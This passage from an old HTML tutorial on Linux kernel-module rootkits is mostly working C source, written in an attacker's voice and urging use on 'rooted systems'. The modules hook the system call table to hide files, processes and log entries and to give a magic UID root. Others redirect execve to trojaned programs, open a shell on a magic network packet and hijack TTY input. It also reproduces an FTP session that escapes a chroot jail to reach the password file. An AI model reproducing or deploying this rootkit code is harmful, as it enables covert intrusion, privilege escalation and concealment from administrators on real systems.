1821  orig_open=sys_call_table[SYS_open];
1822  sys_call_table[SYS_open]=hacked_open;
1823  return 0;
1824 }
1825
1826 void cleanup_module(void)            /*module shutdown*/
1827 {
1828  sys_call_table[SYS_open]=orig_open;                                      
1829 }
1830 </xmp>
1831
1832 This works very fine, it tells anyone trying to access our files, that they
1833 are non-existent. But how do we access those files. Well there are many ways
1834 <ul>
1835 <li>implement a magic-string<br>
1836 <li>implement uid or gid check (requires creating a certain account)<br>
1837 <li>implement a time check<br>
1838 <li>...<br>
1839 </ul>
1840 There are thousands of possibilies which are all very easy to implement, so I
1841 leave this as an exercise for the reader.
1842
1843 <H4><A NAME="II.4.3."></A>4.3  How to hide certain file parts (a prototype implementation)</h4>
1844
1845
1846 Well the method shown in 3.2 is very useful for our own tools / logs. But
1847 what about modifying admin / other user files. Imagine you want to control
1848 /var/log/messages for entries concerning your IP address / DNS name. We all
1849 know thousands of backdoors hiding our identity from any important logfile.
1850 But what about a LKM just filtering every string (data) written to a file. If 
1851 this string contains any data concerning our identity (IP address, for example)
1852 we deny that write (we will just skip it/return). The following implementation
1853 is a very (!!) basic prototype (!!) LKM, just for showing it. I never saw it
1854 before, but as in 3.2 there may be some people using this since years.
1855
1856 <xmp>
1857 #define MODULE
1858 #define __KERNEL__
1859
1860 #include <linux/module.h>
1861 #include <linux/kernel.h>
1862 #include <asm/unistd.h>
1863 #include <sys/syscall.h>
1864 #include <sys/types.h>
1865 #include <asm/fcntl.h>
1866 #include <asm/errno.h>
1867 #include <linux/types.h>
1868 #include <linux/dirent.h>
1869 #include <sys/mman.h>
1870 #include <linux/string.h>
1871 #include <linux/fs.h>
1872 #include <linux/malloc.h>
1873
1874 extern void* sys_call_table[];
1875
1876
1877 int (*orig_write)(unsigned int fd, char *buf, unsigned int count);
1878
1879 int hacked_write(unsigned int fd, char *buf, unsigned int count)
1880 {
1881  char *kernel_buf;
1882  char hide[]="127.0.0.1"; /*the IP address we want to hide*/
1883  
1884  kernel_buf = (char*) kmalloc(1000, GFP_KERNEL);
1885
1886  memcpy_fromfs(kernel_buf, buf, 999);
1887
1888  if (strstr(kernel_buf, (char*)&hide ) != NULL)
1889  {
1890   kfree(kernel_buf);
1891   /*say the program, we have written 1 byte*/
1892   return 1;
1893  }
1894  else
1895  {
1896   kfree(kernel_buf);
1897   return orig_write(fd, buf, count);
1898  }
1899 }
1900
1901 int init_module(void)                /*module setup*/
1902 {
1903  orig_write=sys_call_table[SYS_write];
1904  sys_call_table[SYS_write]=hacked_write;
1905  return 0;
1906 }
1907
1908 void cleanup_module(void)            /*module shutdown*/
1909 {
1910  sys_call_table[SYS_write]=orig_write;                                      
1911 }
1912 </xmp>
1913
1914 This LKM has several disadvantages, it does not check for the destination it
1915 the write is used on (can be checked via fd; read on for a sample). This means
1916 the even a 'echo '127.0.0.1'' will be printed.<br>
1917 You can also modify the string which should be written, so that it shows an IP
1918 address of someone you really like... But the general idea should be clear.<br>
1919
1920 <H4><A NAME="II.4.4."></A>4.4  How to redirect / monitor file operations</h4>
1921
1922
1923 This idea is old, and was first implemented by Michal Zalewski in AFHRM.
1924 I won't show any code here, because it is too easy to implemented (after
1925 showing you II.4.3/II.4.2).There are many things you can monitor by redirection/
1926 filesystem events :
1927 <ul>
1928 <li>someone writes to a file -> copy the contents to another file
1929   =>this can be done with sys_write(...) redirection<br>
1930 <li>someone was able to read a sensitve file -> monitor file reading of certain
1931   files<br>
1932   =>this can be done with sys_read(...) redirection<br>
1933 <li>someone opens a file -> we can monitor the whole system for such events<br>
1934   =>intercept sys_open(...) and write files opened to a logfile; this is
1935   the ways AFHRM monitors the files of a system (see IV.3 for source)<br>
1936 <li>link / unlink events -> monitor every link created<br>
1937   =>intercept sys_link(...) (see IV.3 for source)<br>
1938 <li>rename events -> monitor every file rename event<br>
1939   =>intercept sys_rename(...) (see IV.4 for source)<br>
1940 <li>...<br>
1941 </ul>
1942 These are very interesting points (especially for admins) because you can
1943 monitor a whole system for file changes. In my opinion it would also be
1944 interesting to monitor file / directory creations, which use commands like
1945 'touch' and 'mkdir'.<br>
1946 The command 'touch' (for example) does <i>not</i> use open for the creation process; 
1947 a strace shows us the following listing (excerpt) :
1948
1949 <xmp>
1950 ...
1951 stat("ourtool", 0xbffff798)             = -1 ENOENT (No such file or directory)
1952 creat("ourtool", 0666)                  = 3
1953 close(3)                                = 0
1954 _exit(0)                                = ?
1955 </xmp>
1956
1957 As you can see the system uses the systemcall sys_creat(..) to create new files.
1958 I think it is not necessary to present a source,because this task is too trivial
1959 just intercept sys_creat(...) and write every filename to logfile with
1960 printk(...).<br>
1961 This is the way AFHRM logs any important events.
1962
1963
1964 <H4><A NAME="II.4.5."></A>4.5  How to avoid any file owner problems</h4>
1965
1966 This hack is not only filesystem related, it is also very important for general
1967 permission problems. Have a guess which systemcall to intercept.Phrack (plaguez)
1968 suggests hooking sys_setuid(...) with a magic UID. This means whenever a setuid
1969 is used with this magic UID, the module will set the UIDs to 0 (SuperUser).<br>
1970 Let's look at his implementation(I will only show the hacked_setuid systemcall): 
1971
1972 <xmp>
1973 ...
1974 int hacked_setuid(uid_t uid)
1975 {
1976     int tmp;
1977     
1978     /*do we have the magic UID (defined in the LKM somewhere before*/
1979     if (uid == MAGICUID) {
1980     /*if so set all UIDs to 0 (SuperUser)*/
1981         current->uid = 0;
1982         current->euid = 0;
1983         current->gid = 0;
1984         current->egid = 0;
1985         return 0;
1986     }
1987     tmp = (*o_setuid) (uid);
1988     return tmp;
1989 }
1990 ...
1991 </xmp>
1992
1993 I think the following trick could also be very helpful in certain situation.
1994 Imagine the following situation: You give a bad trojan to an (very silly) admin;
1995 this trojan installs the following LKM on that system [i did not implement hide
1996 features, just a prototype of my idea] :<vr>
1997
1998 <xmp>
1999 #define MODULE
2000 #define __KERNEL__
2001
2002 #include <linux/module.h>
2003 #include <linux/kernel.h>
2004 #include <asm/unistd.h>
2005 #include <sys/syscall.h>
2006 #include <sys/types.h>
2007 #include <asm/fcntl.h>
2008 #include <asm/errno.h>
2009 #include <linux/types.h>
2010 #include <linux/dirent.h>
2011 #include <sys/mman.h>
2012 #include <linux/string.h>
2013 #include <linux/fs.h>
2014 #include <linux/malloc.h>
2015
2016 extern void* sys_call_table[];
2017
2018
2019 int (*orig_getuid)();
2020
2021 int hacked_getuid()
2022 {
2023     int tmp;
2024      
2025     /*check for our UID*/
2026     if (current->uid=500) {
2027     /*if its our UID -> this means we log in -> give us a rootshell*/
2028         current->uid = 0;
2029         current->euid = 0;
2030         current->gid = 0;
2031         current->egid = 0;
2032         return 0;
2033     }
2034     tmp = (*orig_getuid) ();
2035     return tmp;
2036 }
2037
2038
2039 int init_module(void)                /*module setup*/
2040 {
2041  orig_getuid=sys_call_table[SYS_getuid];
2042  sys_call_table[SYS_getuid]=hacked_getuid;
2043  return 0;
2044 }
2045
2046 void cleanup_module(void)            /*module shutdown*/
2047 {
2048  sys_call_table[SYS_getuid]=orig_getuid;                                      
2049 }
2050 </xmp>
2051
2052 If this LKM is loaded on a system we are only a normal user, login will give us
2053 a nice rootshell (the current process has SuperUser rights). As I said in part
2054 I current points to the current task structure.
2055
2056 <H4><A NAME="II.4.6."></A>4.6  How to make a hacker-tools-directory unaccessible</h4>
2057
2058 For hackers it is often important to make the directory they use for their tools
2059 (<i>advanced</i> hackers don't use the regular local filesystem to store their data).
2060 Using the getdents approach helped us to hide directory/files. The open approach
2061 helped us to make our files unaccessible. But how to make our directory
2062 unaccessible ?<br>
2063 Well - as always - take a look at include/sys/syscall.h; you should be able to
2064 figure out SYS_chdir as the systemcall we need (for people who don't believe it
2065 just strace the 'cd' command...). This time I won't give you any source, because
2066 you just need to intercept sys_mkdir, and make a string comparison. After this
2067 you should make a regular call (if it is not our directory) or return ENOTDIR
2068 (standing for 'there exists no directory with that name'). Now your tools should
2069 really be hidden from intermediate admins (advanced / paranoid ones will scan
2070 the HDD at its lowest level, but who is paranoid today besides us ?!). It should
2071 also be possible to defeat this HDD scan, because everything is based on
2072 systemcalls.<br>
2073
2074 <H4><A NAME="II.4.7."></A>4.7  How to change CHROOT Environments </h4>
2075
2076 This idea is totally taken from HISPAHACK (hispahack.ccc.de). They published a
2077 real good text on that theme ('Restricting a restricted FTP'). I will explain
2078 their idea in some short words. Please note that the following example will
2079 <i>not</i> work anymore, it is quite old (see wu-ftpd version). I just show
2080 it in order to explain how you can escape from chroot environments using LKMs.
2081 The following text is based on old software (wuftpd) so don't try to use it in newer
2082 wu-ftpd versions, it <i>won't</i> work.<br>
2083 HISPAHACK's paper is based on the idea of an restricted user FTP account which has the
2084 following permission layout :<br>
2085 <xmp>
2086 drwxr-xr-x     6 user      users      1024 Jun 21 11:26 /home/user/
2087 drwx--x--x     2 root      root       1024 Jun 21 11:26 /home/user/bin/
2088 </xmp>
2089 This scenario (which you can often find) the user (we) can rename the bin
2090 directory, because it is in our home directory.<br>
2091 Before doing anything like that let's take a look at whe working of wu.ftpd
2092 (the server they used for explanation, but the idea is more general). If we
2093 issue a LIST command ../bin/ls will be executed with UID=0 (EUID=user's uid).
2094 Before the execution is actually done wu.ftpd will use chroot(...) in order to
2095 set the process root directory in a way we are restricted to the home directory.
2096 This prevents us from accessing other parts of the filesystem via our FTP account
2097 (restricted).<br>
2098 Now imagine we could replace /bin/ls with another program, this program would
2099 be executed as root (uid=0). But what would we win, we cannot access the whole
2100 system because of the chroot(...) call. This is the point where we need a LKM 
2101 helping us. We remove .../bin/ls with a program which loads a LKM supplied by
2102 us. This module will intercept the sys_chroot(...) systemcall. It must be
2103 changed in way it will no more restrict us. <br>
2104 This means we only need to be sure that sys_chroot(...) is doing nothing. 
2105 HISPAHACK used a very radical way, they just modified sys_chroot(...) in a way
2106 it only returns 0 and nothing more. After loading this LKM you can spawn a new
2107 process without being restricted anymore. This means you can access the whole
2108 system with uid=0. The following listing shows the example 'Hack-Session'
2109 published by HISPAHACK :
2110
2111 <xmp>
2112 thx:~# ftp
2113 ftp> o ilm
2114 Connected to ilm.
2115 220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.
2116 Name (ilm:root): user
2117 331 Password required for user.
2118 Password:
2119 230 User user logged in.&nbsp; Access restrictions apply.
2120 Remote system type is UNIX.
2121 Using binary mode to transfer files.</TT></PRE>
2122 ftp> ls
2123 200 PORT command successful.
2124 150 Opening ASCII mode data connection for /bin/ls.
2125 total 5
2126 drwxr-xr-x  5 user              users                  1024 Jun 21 11:26 .
2127 drwxr-xr-x  5 user              users                  1024 Jun 21 11:26 ..
2128 d--x--x--x  2 root              root                   1024 Jun 21 11:26 bin
2129 drwxr-xr-x  2 root              root                   1024 Jun 21 11:26 etc
2130 drwxr-xr-x  2 user              users                  1024 Jun 21 11:26 home
2131 226 Transfer complete.
2132 ftp> cd ..
2133 250 CWD command successful.
2134 ftp> ls
2135 200 PORT command successful.
2136 150 Opening ASCII mode data connection for /bin/ls.
2137 total 5
2138 drwxr-xr-x  5 user              users                  1024 Jun 21 11:26 .
2139 drwxr-xr-x  5 user              users                  1024 Jun 21 21:26 ..
2140 d--x--x--x  2 root              root                   1024 Jun 21 11:26 bin
2141 drwxr-xr-x  2 root              root                   1024 Jun 21 11:26 etc
2142 drwxr-xr-x  2 user              users                  1024 Jun 21 11:26 home
2143 226 Transfer complete.
2144 ftp> ls bin/ls
2145 200 PORT command successful.
2146 150 Opening ASCII mode data connection for /bin/ls.
2147 ---x--x--x  1 root              root                   138008 Jun 21 11:26 bin/ls
2148 226 Transfer complete.
2149 ftp> ren bin bin.old
2150 350 File exists, ready for destination name
2151 250 RNTO command successful.
2152 ftp> mkdir bin
2153 257 MKD command successful.
2154 ftp> cd bin
2155 250 CWD command successful.
2156 ftp> put ls
2157 226 Transfer complete.
2158 ftp> put insmod
2159 226 Transfer complete.
2160 ftp> put chr.o
2161 226 Transfer complete.
2162 ftp> chmod 555 ls
2163 200 CHMOD command successful.
2164 ftp> chmod 555 insmod
2165 200 CHMOD command successful.
2166 ftp> ls
2167 200 PORT command successful.
2168 150 Opening ASCII mode data connection for /bin/ls.
2169 UID: 0 EUID: 1002
2170 Cambiando EUID...
2171 UID: 0 EUID: 0
2172 Cargando modulo chroot...
2173 Modulo cargado.
2174 226 Transfer complete.
2175 ftp> bye
2176 221 Goodbye.
2177 thx:~#
2178
2179 --> now we start a new FTP session without being restricted (LKM is loaded so
2180     sys_chroot(...) is defeated. So do what you want (download passwd...)
2181 </xmp>
2182 In the Appendix you will find the complete source code for the new ls and the
2183 module.<br>
2184
2185 <H3><A NAME="II.5."></A>5. Process related Hacks</h3>
2186
2187 So far the filesystem is totally controlled by us.  We discussed the most
2188 interesting 'Hacks'. Now its time to change the direction. We need to discuss
2189 LKMs confusing commands like 'ps' showing processes.
2190
2191 <H4><A NAME="II.5.1."></A>5.1 How to hide any process</h4>
2192
2193 The most important thing we need everyday is hiding a process from the admin.
2194 Imagine a sniffer, cracker (should normally not be done on hacked systems), ...
2195 seen by an admin when using 'ps'. Oldschool tricks like changing the name of the
2196 sniffer to something different, and hoping the admin is silly enough, are no good
2197 for the 21. century. We want to hide the process totally. So lets look at an
2198 implementation from plaguez (some very minor changes):
2199
2200 <xmp>
2201 #define MODULE
2202 #define __KERNEL__
2203
2204 #include <linux/module.h>
2205 #include <linux/kernel.h>
2206 #include <asm/unistd.h>
2207 #include <sys/syscall.h>
2208 #include <sys/types.h>
2209 #include <asm/fcntl.h>
2210 #include <asm/errno.h>
2211 #include <linux/types.h>
2212 #include <linux/dirent.h>
2213 #include <sys/mman.h>
2214 #include <linux/string.h>
2215 #include <linux/fs.h>
2216 #include <linux/malloc.h>
2217 #include <linux/proc_fs.h>
2218
2219 extern void* sys_call_table[];
2220
2221 /*process name we want to hide*/
2222 char mtroj[] = "my_evil_sniffer";
2223
2224 int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);
2225
2226 /*convert a string to number*/
2227 int myatoi(char *str)
2228 {
2229  int res = 0;
2230  int mul = 1;
2231  char *ptr;
2232  for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
2233   if (*ptr < '0' || *ptr > '9')
2234    return (-1);
2235   res += (*ptr - '0') * mul;
2236   mul *= 10;
2237  }
2238  return (res);
2239 }
2240
2241 /*get task structure from PID*/
2242 struct task_struct *get_task(pid_t pid)
2243 {
2244  struct task_struct *p = current;
2245  do {
2246   if (p->pid == pid)
2247    return p;
2248    p = p->next_task;
2249   }
2250   while (p != current);
2251   return NULL;
2252 }
2253
2254 /*get process name from task structure*/
2255 static inline char *task_name(struct task_struct *p, char *buf)
2256 {
2257  int i;
2258  char *name;
2259
2260  name = p->comm;
2261  i = sizeof(p->comm);
2262  do {
2263   unsigned char c = *name;
2264   name++;
2265   i--;
2266   *buf = c;
2267   if (!c)
2268    break;
2269   if (c == '\\') {
2270    buf[1] = c;
2271    buf += 2;
2272    continue;
2273   }
2274   if (c == '\n') {
2275    buf[0] = '\\';
2276    buf[1] = 'n';
2277    buf += 2;
2278    continue;
2279   }
2280   buf++;
2281  }
2282  while (i);
2283  *buf = '\n';
2284  return buf + 1;
2285 }
2286
2287 /*check whether we need to hide this process*/
2288 int invisible(pid_t pid)
2289 {
2290  struct task_struct *task = get_task(pid);
2291  char *buffer;
2292  if (task) {
2293   buffer = kmalloc(200, GFP_KERNEL);
2294   memset(buffer, 0, 200);
2295   task_name(task, buffer);
2296   if (strstr(buffer, (char *) &mtroj)) {
2297    kfree(buffer);
2298    return 1;
2299   }
2300  }
2301  return 0;
2302 }
2303
2304 /*see II.4 for more information on filesystem hacks*/
2305 int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
2306 {
2307  unsigned int tmp, n;
2308  int t, proc = 0;
2309  struct inode *dinode;
2310  struct dirent *dirp2, *dirp3;
2311
2312  tmp = (*orig_getdents) (fd, dirp, count);
2313
2314 #ifdef __LINUX_DCACHE_H
2315  dinode = current->files->fd[fd]->f_dentry->d_inode;
2316 #else
2317  dinode = current->files->fd[fd]->f_inode;
2318 #endif
2319
2320  if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
2321   proc=1;
2322  if (tmp > 0) {
2323   dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
2324   memcpy_fromfs(dirp2, dirp, tmp);
2325   dirp3 = dirp2;
2326   t = tmp;
2327   while (t > 0) {
2328    n = dirp3->d_reclen;
2329    t -= n;
2330   if ((proc && invisible(myatoi(dirp3->d_name)))) {
2331    if (t != 0)
2332     memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
2333    else
2334     dirp3->d_off = 1024;
2335     tmp -= n; 
2336    }
2337    if (t != 0)
2338     dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
2339   }
2340   memcpy_tofs(dirp, dirp2, tmp);
2341   kfree(dirp2);
2342  }
2343  return tmp;
2344 }
2345
2346
2347 int init_module(void)                /*module setup*/
2348 {
2349  orig_getdents=sys_call_table[SYS_getdents];
2350  sys_call_table[SYS_getdents]=hacked_getdents;
2351  return 0;
2352 }
2353
2354 void cleanup_module(void)            /*module shutdown*/
2355 {
2356  sys_call_table[SYS_getdents]=orig_getdents;                                      
2357 }
2358 </xmp>
2359
2360 The code seems complicated, but if you know how 'ps' and every process analyzing
2361 tool works, it is really easy to understand. Commands like 'ps' do not use any
2362 special systemcall for getting a list of the current processes (there exists no
2363 systemcall doing this). By strace'in 'ps' you will recognize that it gets its
2364 information from the /proc/ directory. There you can find lots of directories
2365 with names only consisting of numbers. Those numbers are the PIDs of all running
2366 processes on that system. Inside these directories you find files which provide
2367 any information on that process.So 'ps' just does an 'ls' on /proc/; every number
2368 it finds stands for a PID it shows in its well-known listing. The information it
2369 shows us about every process is gained from reading the files inside /proc/PID/.
2370 Now you should get the idea.'ps' must read the contents of the /proc/ directory,
2371 so it must use sys_getdents(...).We just must get the name of the a PID found in
2372 /proc/; if it is our process name  we want to hide, we will  hide it from /proc/
2373 (like we did with other files in the filesystem -> see 4.1). The two task
2374 functions and the invisible(...) function are only used to get the name for a
2375 given PID found in the proc directory and related stuff. The file hiding should
2376 be clear after studying 4.1.<br>
2377 I would improve only one point in plaguez approuch. I don't know why he used
2378 a selfmade atoi-function, simple_strtoul(...) would be the easier way, but these
2379 are peanuts. Of course, in a complete hide module you would put file and process
2380 hiding in one hacked getdents call (this is the way plaguez did it).<br>
2381 Runar Jensen used another, more complicated way. He also hides the PIDs from the
2382 /proc directory, but the way he checks whether to hide or not is a bit different.
2383 He uses the flags field in the task structure. This unsigned long field normally
2384 uses the following constants to save some information on the task :<br>
2385 <ul>
2386 <li>PF_PTRACED   :  current process is observed<br>
2387 <li>PF_TRACESYS  :  "       "       "  "<br>
2388 <li>PF_STARTING  :  process is going to start<br>
2389 <li>PF_EXITING   :  process is going to terminate<br>
2390 </ul>
2391 Now Runar Jensen adds his own constant (PF_INVISIBLE) which he uses to indicate
2392 that the corresponding process should be invisible. So a PID found in /proc by
2393 using sys_getdents(...) must not be resolved in its name. You only have to check
2394 for the task flag field. This sounds easier than the 'name approach'. But how to
2395 set this flag for a process we want to hide. Runar Jensen used the easiest way
2396 by hooking sys_kill(...). The 'kill' command can send a special code (9 for 
2397 termination, for example) to any process speciafied by his PID. So start your
2398 process which is going to be invisible, do a 'ps' for getting its PID. And use
2399 a 'kill -code PID'. The code field must be a value that is not used by the
2400 system (so 9 would be a bad choice); Runar Jensen took 32. So the module needs
2401 to hook sys_kill(...) and check for a code of 32. If so it must set the task
2402 flags field of the process specified through the PID given to sys_kill(...).
2403 This is a way to set the flag field. Now it is clear why this approach is a bit
2404 too complicated for an easy practical use.
2405
2406 <H4><A NAME="II.5.2."></A>5.2 How to redirect Execution of files</h4>
2407
2408 In certain situations it could be very interesting to redirect the execution
2409 of a file. Those files could be /bin/login (like plaguez did), tcpd, etc.. This
2410 would allow you to insert any trojan without problem of checksum checks on those
2411 files (you don't need to change them). So let's again search the responsible
2412 systemcall. sys_execve(...) is the one we need. Let's take a look at plaguez
2413 way of redirection (the original idea came from  halflife) :<br>
2414
2415 <xmp>
2416 #define MODULE
2417 #define __KERNEL__
2418
2419 #include <linux/module.h>
2420 #include <linux/kernel.h>
2421 #include <asm/unistd.h>
2422 #include <sys/syscall.h>
2423 #include <sys/types.h>
2424 #include <asm/fcntl.h>
2425 #include <asm/errno.h>
2426 #include <linux/types.h>
2427 #include <linux/dirent.h>
2428 #include <sys/mman.h>
2429 #include <linux/string.h>
2430 #include <linux/fs.h>
2431 #include <linux/malloc.h>
2432
2433 extern void* sys_call_table[];
2434
2435 /*must be defined because of syscall macro used below*/
2436 int errno;
2437
2438 /*we define our own systemcall*/
2439 int __NR_myexecve;
2440
2441 /*we must use brk*/
2442 static inline _syscall1(int, brk, void *, end_data_segment);
2443
2444 int (*orig_execve) (const char *, const char *[], const char *[]);
2445
2446 /*here plaguez's user -> kernel space transition specialized for strings
2447 is better than memcpy_fromfs(...)*/
2448 char *strncpy_fromfs(char *dest, const char *src, int n)
2449 {
2450  char *tmp = src;
2451  int compt = 0;
2452
2453  do {
2454   dest[compt++] = __get_user(tmp++, 1);
2455  }
2456  while ((dest[compt - 1] != '\0') && (compt != n));
2457  return dest;
2458 }
2459
2460
2461 /*this is something like a systemcall macro called with SYS_execve, the
2462 asm code calls int 0x80 with the registers set in a way needed for our own
2463 __NR_myexecve systemcall*/
2464 int my_execve(const char *filename, const char *argv[], const char *envp[])
2465 {
2466     long __res;
2467     __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) 
2468                      (filename)), "c"((long) (argv)),                      "d"((long) (envp)));
2469     return (int) __res;
2470 }
2471
2472
2473 int hacked_execve(const char *filename, const char *argv[], const char *envp[])
2474 {
2475  char *test;
2476  int ret, tmp;
2477  char *truc = "/bin/ls";        /*the file we *should* be executed*/
2478  char *nouveau = "/bin/ps";     /*the new file which *will* be executed*/
2479  unsigned long mmm;
2480
2481  test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
2482  /*get file which a user wants to execute*/
2483  (void) strncpy_fromfs(test, filename, strlen(truc));
2484  test[strlen(truc)] = '\0';
2485  /*do we have our truc file ?*/
2486  if (!strcmp(test, truc)) 
2487  {
2488   kfree(test);
2489   mmm = current->mm->brk;
2490   ret = brk((void *) (mmm + 256));
2491   if (ret < 0)
2492    return ret;
2493   /*set new program name (the program we want to execute instead of /bin/ls or 
2494   whatever)*/
2495   memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
2496   /*execute it with the *same* arguments / environment*/
2497   ret = my_execve((char *) (mmm + 2), argv, envp);
2498   tmp = brk((void *) mmm);
2499  } else {
2500   kfree(test);
2501   /*no the program was not /bin/ls so execute it the normal way*/
2502   ret = my_execve(filename, argv, envp);
2503  }
2504  return ret;
2505 }
2506
2507 int init_module(void)                /*module setup*/
2508 {
2509  /*the following lines choose the systemcall number of our new myexecve*/
2510  __NR_myexecve = 200;
2511  while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
2512   __NR_myexecve--;
2513
2514  orig_execve = sys_call_table[SYS_execve];
2515  if (__NR_myexecve != 0) 
2516  {
2517   sys_call_table[__NR_myexecve] = orig_execve; 
2518   sys_call_table[SYS_execve] = (void *) hacked_execve;
2519  }
2520  return 0;
2521 }
2522
2523 void cleanup_module(void)            /*module shutdown*/
2524 {
2525  sys_call_table[SYS_execve]=orig_execve;                                      
2526 }
2527 </xmp>
2528
2529 When you loaded this module, every call to /bin/ls will just execute /bin/ps.
2530 The following list gives you some ideas how to use this redirection of execve :
2531 <ul>
2532 <li>trojan /bin/login with a hacker login (how plaguez suggests)<br>
2533 <li>trojan tcpd to open a rootshell on a certain port, or to filter its logging
2534   behaviour (remember CERT advisory on a trojan TCPD version)<br>
2535 <li>trojan inetd for a root shell<br>
2536 <li>trojan httpd, sendmail, ... any server you can think of, for a rootshell, by
2537   issuing a special magic string<br>
2538 <li>trojan tools like tripwire, L6<br>
2539 <li>other system security relevant tools<br>
2540 </ul>
2541 There are thousands of other intersting programs to 'trojan', just use your 
2542 brain.
2543
2544 <H3><A NAME="II.6."></A>6.  Network (Socket) related Hacks</h3>
2545
2546 The network is the hacker's playground. So let's look at something which can
2547 help us.  
2548
2549 <H4><A NAME="II.6.1."></A>6.1 How to controll Socket Operations</h4> 
2550
2551 There are many things you can do by controlling Socket Operations. plaguez gave
2552 us a nice backdoor. He just intercepts the sys_socketcall systemcall, waiting
2553 for a packet with a certain length and a certain contents. So let's take a look
2554 at his hacked systemcall (I will only show the hacked_systemcall, because the
2555 rest is equal to every other LKM mentioned in this section) :
2556
2557 <xmp>
2558 int hacked_socketcall(int call, unsigned long *args)
2559 {
2560  int ret, ret2, compt;
2561
2562  /*our magic size*/
2563  int MAGICSIZE=42;
2564
2565  /*our magic contents*/
2566  char *t = "packet_contents";
2567  unsigned long *sargs = args;
2568  unsigned long a0, a1, mmm;
2569  void *buf;
2570
2571  /*do the call*/
2572  ret = (*o_socketcall) (call, args);
2573
2574  /*did we have magicsize & and a recieve ?*/
2575   if (ret == MAGICSIZE && call == SYS_RECVFROM) 
2576   {
2577    /*work on arguments*/
2578    a0 = get_user(sargs);
2579    a1 = get_user(sargs + 1);
2580    buf = kmalloc(ret, GFP_KERNEL);
2581    memcpy_fromfs(buf, (void *) a1, ret);
2582    for (compt = 0; compt < ret; compt++)
2583     if (((char *) (buf))[compt] == 0)
2584      ((char *) (buf))[compt] = 1;
2585     /*do we have magic_contents ?*/
2586     if (strstr(buf, mtroj)) 
2587     {
2588      kfree(buf);
2589      ret2 = fork();
2590     if (ret2 == 0) 
2591     {
2592      /*if so execute our proggy (shell or whatever you want...) */
2593      mmm = current->mm->brk;
2594      ret2 = brk((void *) (mmm + 256));
2595      memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);
2596
2597      /*plaguez's execve implementation -> see 4.2*/
2598      ret2 = my_execve((char *) mmm + 2, NULL, NULL);
2599     }
2600    }
2601   }
2602  return ret;
2603 }
2604 </xmp>
2605
2606 Ok, as always I added some comments to the code, which is a bit ugly, but working.
2607 The code intercepts every sys_socketcall (which is responsible for everything
2608 concerning socket-operations see I.2). Inside the hacked systemcall the code
2609 first issues a normal systemcall. After that the return value and call variables
2610 are checked. If it was a receive Socketcall and the 'packetsize' (...nothing to
2611 do with TCP/IP packets...) is ok it will check the contents which was received.
2612 If it can find our magic contents, the code can be sure,that we (hacker) want to
2613 start the backdoor program. This is done by my_execve(...).<br>
2614 In my opinion this approach is very good, it would also be possible to wait
2615 for a speciel connect / close pattern, just be creative.<br> 
2616 Please remember that the methods mentioned above need a service listing on a
2617 certain port, because the receive function is only issued by daemons receiving
2618 data from an established connection. This is a disadvantage, because it could be
2619 a bit suspect for some paranoid admins out there. Test those backdoor LKM ideas
2620 first on your system to see what will happen. Find your favourite way of
2621 backdoor'ing the sys_socketcall, and use it on your rooted systems.
2622
2623 <H3><A NAME="II.7."></A>7. Ways to TTY Hijacking</h3>
2624
2625 TTY hijacking is very interesting and also something used since a very very long
2626 time. We can grab every input from a TTY we specify throug its major and minor
2627 number. In Phrack 50 halflife published a really good LKM doing this. The
2628 following code is ripped from his LKM. It should show every beginner the basics
2629 of TTY hijacking though its no complete implementation, you cannot use it in any
2630 useful way, because I did <i>not</i> implement a way of logging the TTY input made
2631 by the user. It's just for those of you who want to understand the basics, so
2632 here we go :
2633
2634 <xmp>
2635 #define MODULE
2636 #define __KERNEL__
2637 #include <linux/module.h>
2638 #include <linux/kernel.h>
2639 #include <asm/unistd.h>
2640 #include <sys/syscall.h>
2641 #include <sys/types.h>
2642 #include <asm/fcntl.h>
2643 #include <asm/errno.h>
2644 #include <linux/types.h>
2645 #include <linux/dirent.h>
2646 #include <sys/mman.h>
2647 #include <linux/string.h>
2648 #include <linux/fs.h>
2649 #include <linux/malloc.h>
2650 #include <asm/io.h>
2651 #include <sys/sysmacros.h>
2652
2653
2654 int errno;
2655
2656 /*the TTY we want to hijack*/
2657 int tty_minor = 2;
2658 int tty_major = 4;
2659
2660 extern void* sys_call_table[];
2661
2662 /*we need the write systemcall*/
2663 static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);
2664
2665 void *original_write;
2666
2667 /* check if it is the tty we are looking for */
2668 int is_fd_tty(int fd)
2669 {
2670  struct file *f=NULL;
2671  struct inode *inode=NULL;
2672  int mymajor=0;
2673  int myminor=0;
2674
2675  if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
2676   return 0;
2677  mymajor = major(inode->i_rdev);
2678  myminor = minor(inode->i_rdev);
2679  if(mymajor != tty_major) return 0;
2680  if(myminor != tty_minor) return 0;
2681   return 1;
2682 }
2683
2684 /* this is the new write(2) replacement call */
2685 extern int new_write(int fd, char *buf, size_t count)
2686 {
2687  int r;
2688  char *kernel_buf;
2689
2690  if(is_fd_tty(fd))
2691  {
2692   kernel_buf = (char*) kmalloc(count+1, GFP_KERNEL);   
2693   memcpy_fromfs(kernel_buf, buf, count);
2694
2695   /*at this point you can output buf whereever you want, it represents
2696   every input on the TTY device referenced by the chosen major / minor
2697   number
2698   I did not implement such a routine, because you will see a complete &
2699   very good TTY hijacking tool by halflife in appendix A */
2700
2701   kfree(kernel_buf);
2702  }
2703  sys_call_table[SYS_write] = original_write;
2704  r = write(fd, buf, count); 
2705  sys_call_table[SYS_write] = new_write;
2706  if(r == -1) return -errno;
2707   else return r;
2708 }
2709
2710 int init_module(void)                   
2711 {
2712  /*you should know / understand this...*/
2713  original_write = sys_call_table[SYS_write];
2714  sys_call_table[SYS_write] = new_write;
2715  return 0;
2716 }
2717
2718
